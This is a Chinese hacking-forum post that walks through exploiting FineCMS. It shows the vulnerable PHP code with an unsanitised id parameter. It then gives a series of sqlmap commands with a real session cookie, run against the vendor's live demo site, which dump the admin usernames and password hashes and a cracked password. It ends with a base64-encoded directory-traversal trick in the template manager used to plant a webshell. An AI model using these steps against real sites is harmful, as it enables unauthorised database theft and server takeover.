**[[【原创】]](https://forum.90sec.org/forumdisplay.php?fid=10&filter=type&typeid=2) FineCMS的注入和getshell**

|  |  |
| --- | --- |
| 本帖最后由 流浪的风 于 2012-11-14 09:29 编辑  Team:<http://c0deplay.com>  还没学PHP，先学牛们挖洞来了，牛们见笑了。  程序是FineCMS，找到了个注入，接着其他的就看不下去了，只想利用上就OK了。  注入的文件是finecms\controllers\member\ContentController.php  public function editAction() {  $id = $this->get('id');  $data = $this->content->where('userid=' . $this->memberinfo['id'])->where('id=' . $id)->select(false);  $catid = $data['catid']; \\ http://c0deplay.com  if (empty($data)) $this->memberMsg('信息不存在');  if (empty($catid)) $this->memberMsg('信息栏目不存在');  $model = $this->cache->get('model');  $modelid = $this->cats[$catid]['modelid'];  $fields = $model[$modelid]['fields']  $id，问题出在这儿，就是利用麻烦了点。  这个是出现在文章编辑的模块，所以，得去注册个用户，发表文章，然后再点击编辑，这些大家都知道的，我略过了。  在编辑文章这儿，抓包，我用的是Live HTTP Replay，如图  https://forum.90sec.org/images/default/attachimg.gif1.jpg  [**下载**](https://forum.90sec.org/attachment.php?aid=Njg2OXw5NGIwNDkxNnwxMzUyOTk3NDM1fGJhNGVqcWhlaU9LV1RXTSt1SDR5emVMb3FPS2lTa2VSM2IyM0pISHFnaXI0TSt3&nothumb=yes) (80.9 KB)  前天 09:18  好了 cookie是：  PHPSESSID=135qdpqp4e9vm3sda0b3446c13; CNZZDATA4264051=cnzz\_eid=96253715-1352780242-  &ntime=1352780242&cnzz\_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0; finecms\_member\_id=aToyNDM7  好了，接着打开sqlmap，开始注入  ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;  CNZZDATA4264051=cnzz\_eid=96253715-1352780242-&ntime=1352780242&cnzz\_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;  finecms\_member\_id=aToyNDM7"  https://forum.90sec.org/images/default/attachimg.gif2.jpg  [**下载**](https://forum.90sec.org/attachment.php?aid=Njg3MHxmZTQzYWNmNXwxMzUyOTk3NDM1fGJhNGVqcWhlaU9LV1RXTSt1SDR5emVMb3FPS2lTa2VSM2IyM0pISHFnaXI0TSt3&nothumb=yes) (30.53 KB)  前天 09:18  有注入，是mysql 5.0的，接着  ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;  CNZZDATA4264051=cnzz\_eid=96253715-1352780242-&ntime=1352780242&cnzz\_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;  finecms\_member\_id=aToyNDM7" –dbs  https://forum.90sec.org/images/default/attachimg.gif3.jpg  [**下载**](https://forum.90sec.org/attachment.php?aid=Njg3MXw0ZjQ5YjdhMnwxMzUyOTk3NDM1fGJhNGVqcWhlaU9LV1RXTSt1SDR5emVMb3FPS2lTa2VSM2IyM0pISHFnaXI0TSt3&nothumb=yes) (33.74 KB)  前天 09:18  available databases [2]:  dayrui  information\_schema  ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;  CNZZDATA4264051=cnzz\_eid=96253715-1352780242-&ntime=1352780242&cnzz\_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;  finecms\_member\_id=aToyNDM7" --tables -D "dayrui"  https://forum.90sec.org/images/default/attachimg.gif4.jpg  [**下载**](https://forum.90sec.org/attachment.php?aid=Njg3MnxlMDFiMjhjY3wxMzUyOTk3NDM1fGJhNGVqcWhlaU9LV1RXTSt1SDR5emVMb3FPS2lTa2VSM2IyM0pISHFnaXI0TSt3&nothumb=yes) (70.92 KB)  前天 09:18  找到表名demo\_user，接着  ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;  CNZZDATA4264051=cnzz\_eid=96253715-1352780242-&ntime=1352780242&cnzz\_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;  finecms\_member\_id=aToyNDM7" --columns -T "demo\_user" users-D "dayrui" -v 0  https://forum.90sec.org/images/default/attachimg.gif5.jpg  [**下载**](https://forum.90sec.org/attachment.php?aid=Njg3M3wwMDhhMzk3MXwxMzUyOTk3NDM1fGJhNGVqcWhlaU9LV1RXTSt1SDR5emVMb3FPS2lTa2VSM2IyM0pISHFnaXI0TSt3&nothumb=yes) (50.3 KB)  前天 09:18  不截图了，太麻烦了  ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;  CNZZDATA4264051=cnzz\_eid=96253715-1352780242-&ntime=1352780242&cnzz\_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;  finecms\_member\_id=aToyNDM7" --dump -C "username" -T "demo\_user" -D "dayrui" -v 0  Database: dayrui  Table: demo\_user  [2 entries]  +----------+  | username |  +----------+  | admin |  | dayrui |  +----------+  ./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;  CNZZDATA4264051=cnzz\_eid=96253715-1352780242-&ntime=1352780242&cnzz\_a=1&retime=1352782758760&sin=none<ime=1352782758760&rtime=0;  finecms\_member\_id=aToyNDM7" --dump -C "password" -T "demo\_user" -D "dayrui" -v 0  Database: dayrui  Table: demo\_user  [2 entries]  +----------------------------------+  | password |  +----------------------------------+  | eae9f74652d3191c2868627641128f22 |  | eae9f74652d3191c2868627641128f22 |   |  | | --- | |  |   解出了密码 admin dayrui dayrui dayrui  dayrui dayrui 这个是网站创始人权限，登录这个，准备拿shell。  Finecms这个程序的演示站是linux跟apche的搭配，在模板管理那儿，可以直接新建a.php.html来解析利用，但服务器作了限制，如图  https://forum.90sec.org/images/default/attachimg.gif6.jpg  [**下载**](https://forum.90sec.org/attachment.php?aid=Njg3NHw1ZmY5ODhlZXwxMzUyOTk3NDM1fGJhNGVqcWhlaU9LV1RXTSt1SDR5emVMb3FPS2lTa2VSM2IyM0pISHFnaXI0TSt3&nothumb=yes) (28.01 KB)  前天 09:19  这个目录不可访问，后台还有备份数据的功能，这个好像利用不了，还有个执行SQL的，不过我的突破点还是在模板那儿，模板所在的目录既然不能执行，那么跳出这个目录就可以了。那儿有个目录跳转的功能，如图https://forum.90sec.org/images/default/attachimg.gif7.jpg  [**下载**](https://forum.90sec.org/attachment.php?aid=Njg3NXw0MDlkZmM5MnwxMzUyOTk3NDM1fGJhNGVqcWhlaU9LV1RXTSt1SDR5emVMb3FPS2lTa2VSM2IyM0pISHFnaXI0TSt3&nothumb=yes) (50.36 KB)  前天 09:19  <http://demo.finecms.net/index.php?s=admin&c=theme&dir=bWVtYmVyLw==&iframe=0>  这个是跳转的链接，dir后面的是目录了，不过是base64加密的，  所以，构造如下,../../就是Li4vLi4v，输入<http://demo.finecms.net/index.php?s=admin&c=theme&dir=Li4vLi4v=&iframe=0>  如图，  https://forum.90sec.org/images/default/attachimg.gif8.jpg  [**下载**](https://forum.90sec.org/attachment.php?aid=Njg3NnxlZmZkM2MzNXwxMzUyOTk3NDM1fGJhNGVqcWhlaU9LV1RXTSt1SDR5emVMb3FPS2lTa2VSM2IyM0pISHFnaXI0TSt3&nothumb=yes) (50.09 KB)  前天 09:19  好了，目录已经跳转，那么就直接再新建个模板，就可以直接拿shell了。  结果如图  https://forum.90sec.org/images/default/attachimg.gif9.jpg |